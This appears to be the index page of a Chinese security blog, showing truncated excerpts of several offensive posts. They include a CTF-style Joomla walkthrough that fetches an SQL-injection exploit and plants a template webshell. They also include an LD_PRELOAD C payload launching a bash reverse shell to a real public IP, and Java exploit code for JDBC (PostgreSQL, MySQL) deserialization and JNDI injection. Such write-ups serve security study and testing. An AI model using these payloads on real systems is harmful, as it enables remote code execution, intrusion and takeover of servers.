MoonlitSyntax

有点难绷 房间太乱了吧 看起来又是80打22 © 2024 The Daily Bugle 开搜 扫描目录 是一个joomla joomscan -u http://10.10.198.118 扫出版本是3.7.0 OK下一步search一下 是个时间盲注 直接偷脚本吧 wget https://raw.githubusercontent.com/stefanlucas/Exploit-Joomla/master/joomblah.py hashes拿到密码spiderman123 账号是jonah 登录后台 template -> beez3 -> error.php 传个马 http://10.10.198.118/templates/beez3/error.php 访问后弹回shell 信息搜集 cat config*<?phpclass JConfig { public $offline = '0'; public $offline_message = 'This site is down ...

import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;/** * 参考p神：https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg * 参考1ue：https://t.zsxq.com/17LkqCzk8 * 实现：参考 OObjectOutputStream# protected void writeClassDescriptor(ObjectStreamClass desc)方法 */public class CustomObjectOutputStream extends ObjectOutputStream { public CustomObjectOutputStream(OutputStream out) throws ...

#define _GNU_SOURCE#include<stdlib.h>#include<stdio.h>#include<string.h>__attribute__ ((__constructor__)) void preload (void){ unsetenv("LD_PRELOAD"); system(" bash -c 'bash -i >& /dev/tcp/165.154.5.221/9999 0>&1' ");} 下面这个爽了 #include <stdio.h>#include <unistd.h>#include <sys/types.h>#include <sys/socket.h>#include <arpa/inet.h>#include <signal.h>#include <dirent.h>#include <sys/s ...

socketFactory/socketFactoryArg RCE package com.javasec.jdbc.postgres;import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLException;public class PsqlJDBCRCE { public static void main(String[] args) throws SQLException { String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext"; String socketFactoryArg = "http://127.0.0.1:8000/bean.xml"; String jdbcUrl = "jdbc:postgresql://127 ...

-84和-19是反序列化数据,直接就readObject了 其中ServerStatusDiffInterceptor是一个拦截器，在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时，执行查询语句会调用拦截器的preProcess和postProcess方法，进而通过上述调用链最终调用getObject()方法 String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用

初探 ref为空 需要 obj 既不是 Reference 也不是 Referenceable 无法实例化远程对象,没用 令 ref.getFactoryClassLocation() 返回空,这个属性表示引用所指向对象的对应 factory 名称，对于远程代码加载而言是 codebase，即远程代码的 URL 地址,如果对应factory是本地代码,则该值为空 对于方法二,只需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factory 的 codebase javax.naming.spi.NamingManager 解析过程中 如果本地拿到了工厂类,就不需要远程加载,直接本地实例化工厂,再用工厂实例化类返回 于是找到Tomcat里的BeanFactory 他使用newInstance创建实例 只能调用无参构造 找到的是ELProcessor和GroovyShell 基于BeanFactory javax.management.loading.MLet jdk自带 MLet 继承自 URLClassloader，有一个无参构造方法，还有一个 add ...